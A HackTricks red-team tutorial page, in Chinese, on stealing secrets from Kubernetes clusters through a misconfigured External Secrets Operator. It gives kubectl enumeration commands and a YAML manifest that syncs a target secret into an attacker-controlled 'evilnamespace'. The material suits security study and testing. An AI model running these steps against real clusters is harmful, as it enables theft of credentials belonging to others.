External Secret Operator

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

该页面的原作者是 Fares

本页面提供了一些关于如何从配置错误的 ESO 或使用 ESO 同步其秘密的应用程序中窃取秘密的指引。

免责声明

下面展示的技术仅在满足某些条件时有效。例如,它依赖于允许在您拥有/已攻陷的命名空间中同步秘密的要求。您需要自己找出这些条件。

先决条件

  1. 在具有命名空间管理员权限的 kubernetes / openshift 集群中获得立足点
  2. 在集群级别至少对 ExternalSecret 具有读取权限
  3. 确定是否需要任何标签/注释或组成员资格,以允许 ESO 同步您的秘密。如果您运气好,您可以自由窃取任何定义的秘密。

收集有关现有 ClusterSecretStore 的信息

假设您有足够权限读取此资源的用户;首先列出现有的 ClusterSecretStores

kubectl get ClusterSecretStore

ExternalSecret 枚举

假设您找到了一个名为 mystore 的 ClusterSecretStore。继续枚举其关联的 externalsecret。

kubectl get externalsecret -A | grep mystore

这个资源是命名空间范围的,因此除非您已经知道要查找哪个命名空间,否则请添加 -A 选项以查看所有命名空间。

您应该会得到一个已定义的 externalsecret 列表。假设您找到了一个名为 mysecret 的 externalsecret 对象,该对象由命名空间 mynamespace 定义和使用。收集更多关于它持有什么类型的秘密的信息。

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

组装各个部分

从这里你可以获取一个或多个秘密名称(如在 Secret 资源中定义的)。你将得到类似于以下的输出:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

到目前为止,我们得到了:

  • ClusterSecretStore 的名称
  • ExternalSecret 的名称
  • 秘密的名称

现在我们有了所需的一切,您可以创建一个 ExternalSecret(并最终修补/创建一个新的 Namespace,以符合同步新秘密所需的先决条件):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

在几分钟后,如果满足同步条件,您应该能够在您的命名空间中查看泄露的秘密。

kubectl get secret leaked_secret -o yaml

参考

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets. \xc2\xb7 GitHub

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks